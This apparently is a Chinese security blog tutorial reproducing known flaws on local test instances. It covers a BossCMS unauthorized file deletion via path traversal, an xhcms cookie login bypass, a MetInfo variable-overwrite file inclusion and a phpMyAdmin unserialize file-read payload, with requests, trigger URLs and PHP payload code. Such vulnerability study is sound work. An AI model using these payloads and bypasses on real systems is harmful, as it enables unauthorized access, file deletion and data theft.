CNVD拿1day-验证&未授权-xhcms&Bosscms

此种漏洞由于没有什么关键函数,所以需要通过功能点去进行测试。

Bosscms未授权访问

CNVD官网上搜索Bosscms未授权访问漏洞。



根据描述,影响的是1.0版本。看到发送时间为21年12月29好,收录时间为22年1月18号。再去官网看版本更新的时间点,V1.0版本和V1.1版本都是21年12月29号之前推出的,都存在未授权访问漏洞,而V1.2版本的更新日志中提到了修复已知漏洞,发布时间为22年1月11号,所以根据这两个版本代码之间的区别来判断哪里存在未授权访问漏洞。





通过Beyond Compare软件打开两个版本的源代码,比较之后发现在/system/basic/class/admin.class.php文件中存在区别。



V1.2版本的在登录功能加了一个判断和一个die语句,说明在V1.0版本的admin.class.php文件中存在未授权访问。但在admin文件中没找到什么功能,那么下一步就可以查找有没有哪些文件继承了admin.class.php文件,只要继承了,也会存在未授权访问漏洞。找到一个backup.class.php文件,存在文件删除功能。



抓包看下删除的逻辑。

点击查看代码
POST /admin/?mold=safe&part=backup&func=delete&id=20240204150801xj3p65.sql HTTP/1.1
Host: 127.0.0.1:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------205646219912454451722833187453
Content-Length: 240
Origin: http://127.0.0.1:8089
Connection: close
Referer: http://127.0.0.1:8089/admin/?mold=safe&part=backup&func=table&lang=1
Cookie: PHPSESSID=dork7e7l4fjdnuhboikp8qh2i2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1 -----------------------------205646219912454451722833187453
Content-Disposition: form-data; name="url" http://127.0.0.1:8089/admin/?mold=safe&part=backup&func=table&lang=1
-----------------------------205646219912454451722833187453--

id就是删除的文件名。故在根目录新建一个1.txt文件,看能否删除。



给id传参../../../1.txt,url随便传参什么,删除成功。



xhcms验证逻辑缺陷

cnvd官网上搜索相关漏洞。



进入后台界面,根据url找到对应的文件。





r=index,需要到files目录下找index.php文件。



包含两个文件,有一个文件根据名字就知道是检查登录的,看一下该文件。



只需要满足cookie中的user字段有值即可,故很好绕过。先退出登录,直接访问http://127.0.0.1:8085/admin/?r=index,cookie传参user=1。



成功登录。

CNVD拿1day-变量覆盖引发文件包含-MetInfo

根据官网搜索Metinfo存在文件包含漏洞。



文件包含漏洞涉及到的关键函数有以下四个:require、require_once、include、include_once。随便翻看了下源代码,发现代码中使用的都是require_once函数。如果有文件包含漏洞,则肯定有变量,搜索"require_once $"。



一个一个查看,看看哪里能用。发现这几个代码都很相似。



img/index.php中还包含了两个文件,一个是include/module.php,另一个是$module。因为$module不知道是哪里来的,所以先看看include/module.php。



$module是从include/module.php文件中定义的,如果想要实现任意文件包含,我们就得控制$module。再往上看,发现include/module.php包含了include/common.inc.php,看一下include/common.inc.php源码。



存在变量覆盖漏洞。

点击查看代码
$_request=_COOKIE、_POST、_GET
$$_request=$_COOKIE、$_POST、$_GET
$_key就是三种传参方式的传参名
$_value就是三种传参方式的传参值
所以可以通过该代码实现变量覆盖。

先来理一下利用链。

img/index.php($fmodule=5) -> include/common.inc.php(变量覆盖漏洞,将module赋值为我们想要包含的文件) -> include/module.php(如果$fmodule!=7则会对$module重新赋值,所以必须要让$fmodule=7才可以)

在根目录下新建一个1.txt文件,目标就是包含该文件执行phpinfo函数。触发地址:img/index.php?fmodule=7&module=../1.txt。

CNVD拿1day-反序列化引发读取-phpMyAdmin

根据官网搜索phpMyAdmin存在unserialize远程代码执行漏洞。



打开源代码搜索unserialize关键字,只有两处。



两处代码如下。





明显第一处更好触发,故选择第一处触发。反序列化漏洞中unserialize函数在执行的时候会自动执行__wakeup魔术方法,搜索哪里有__wakeup函数。在libraries/Config.class.php文件中找到一处比较好的。



看看load函数和getSource函数是什么作用。





可以看到load函数有eval命令执行函数,getSource函数是返回$source。看看$source在哪里定义的。



发现这几个方法都是在PMA_Config类中的,所以可以利用反序列化漏洞让$source为我们想要读取的文件。

点击查看代码
利用链:
scripts/setup.php(unserialize函数) -> libraries/Config.class.php(PMA_Config类中的__wakeup函数) -> libraries/Config.class.php(PMA_Config类中的load函数会调用eval函数,执行file_get_contents函数读取getSource函数返回的值) -> libraries/Config.class.php(PMA_Config类中的getSource函数会返回当前类的source变量。

在D盘下新建一个1.txt文件,目标就是利用反序列化漏洞读取1.txt中的内容。



生成payload。

点击查看代码
<?php
class PMA_Config{
var $source = '';
function __construct(){
$this->source="d:/1.txt";
}
}
$a = new PMA_Config();
echo serialize($a); # O:10:"PMA_Config":1:{s:6:"source";s:8:"d:/1.txt";} ?>

再返回看scripts/setup.php中的unserialize函数如何才能触发。



第一个要满足以POST方式向configuration传我们生成的payload即可;第二个要满足以POST方式向action传值,值不能为clear。触发地址:scripts/setup.php。



成功读取到。

PHP项目&变量覆盖&反序列化&未授权访问&身份验证的更多相关文章

  1. redis未授权访问批量验证脚本编写[python]

    漏洞简介 简单来说,redis是一个数据库.在默认的配置下,redis绑定在0.0.0.0:6379,也就是说,如果服务器有公网ip,可以通过访问其公网ip的6379端口来操作redis.最为致命的是 ...

  2. redis未授权访问漏洞——简单记录

    从0复现redis未授权访问漏洞 环境:centos8(ip:10.0.0.3) 安装 redis 工具:kali(10.1.1.136) 1. 介绍 Redis REmote DIctionary ...

  3. Springboot之actuator未授权访问

    copy 子杰的哈,懒的写了 0x01  未授权访问可以理解为需要授权才可以访问的页面由于错误的配置等其他原因,导致其他用户可以直接访问,从而引发各种敏感信息泄露. 0x02 Spring Boot ...

  4. Redis未授权访问漏洞分析

    catalog . Redis简介 . 漏洞概述 . 漏洞利用方式 . 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann ...

  5. Redis未授权访问缺陷让服务器沦为肉鸡

    朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接.朋友不知如何下手,便邀请我帮忙处理. 阿里云的安全告警邮件内容: 在没 ...

  6. docker搭建redis未授权访问漏洞环境

    这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...

  7. Memcache未授权访问漏洞利用及修复

    Memcached是一套分布式的高速缓存系统.它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的.正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问.本文 ...

  8. Memcached 未授权访问漏洞及加固

    memcached是一套分布式的高速缓存系统.它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的.正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问. 漏 ...

  9. PHP-FPM Fastcgi 未授权访问漏洞

    漏洞原理 Fastcgi Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道.HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组 ...

  10. [Shell]Docker remote api未授权访问漏洞(Port=2375)

    0x01 简介 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. Docke ...

随机推荐

  1. vue3.2如何将写hooks呢?

    场景 有些时候,我们需要将一个页面拆分成各个模块. 这些模块包含增加,删除,修改,等 并且这些模块会处理非常复杂的业务逻辑问题 所以,我们最好是将他们分开. 如何将分离新增模块拆离出去 主页面 < ...

  2. 【JS 逆向百例】如何跟栈调试?某 e 网通 AES 加密分析

    关注微信公众号:K哥爬虫,QQ交流群:808574309,持续分享爬虫进阶.JS/安卓逆向等技术干货! 声明 本文章中所有内容仅供学习交流,抓包内容.敏感网址.数据接口均已做脱敏处理,严禁用于商业用途 ...

  3. 在bat中切换盘符

    在bat代码中如何在不同的盘符中切换?直接输入盘符的名字,前面不要加cd,示例 cd %~dp0 d: cd D:\Python37 e: cd E:\Code\KSFramework c: cd C ...

  4. NFS实现部署Linux文件共享

    NFS 即网络文件系统,是一种使用于分布式文件系统的协议,由Sun公司开发,于1984年向外公布,功能是通过网络让不同的机器,不同的操作系统能够彼此分享各自的数据,让应用程序在客户端通过网络访问位于服 ...

  5. Scrapy数据解析和持久化

    Scrapy框架的使用 - pySpider - 什么是框架? - 就是一个具有很强通用性且集成了很多功能的项目模板(可以被应用在各种需求中) - scrapy集成好的功能: - 高性能的数据解析操作 ...

  6. 基于AvaloniaUI开发跨平台.NET三维应用:环境搭建

    本文介绍在Vistual Studio 2022中使用Avalonia和集成AnyCAD AvaloniaUI三维控件的的过程. 目录 0 初始化环境 1 创建项目 2 集成AnyCAD Avalon ...

  7. rpm安装卸载jdk

    安装 rpm -ivh jdk-7-linux-x64.rpm 卸载 先查看安装的包 rpm -qa | grep jdk 卸载 rpm -e --nodeps jdk-1.7.0-fcs.x86_6 ...

  8. Firefox浏览器的一些配置

    一.在新标签页打开书签 1.打开Firefox浏览器,地址栏输入about:config. 2.选择"接受风险并继续". 3.搜索browser.tabs.loadBookmark ...

  9. vue实现简易瀑布流

    实现效果 1.不同屏幕尺寸下根据可视区域宽度判断 应该 放几列,这里用onresize演示 2.鼠标滚动到已加载数据的底部时再次请求数据,重新计算哪一列高度最小,push到最小的那一列 实现思路 1. ...

  10. axios请求失败,获取接口返回错误信息

    一般vue项目都会对axios进行封装,后台统一规范默认让服务器对所有请求都返回成功,然后在成功的对象里面包装一层对象result,里面也包含code,msg,result信息,前端拿这个result ...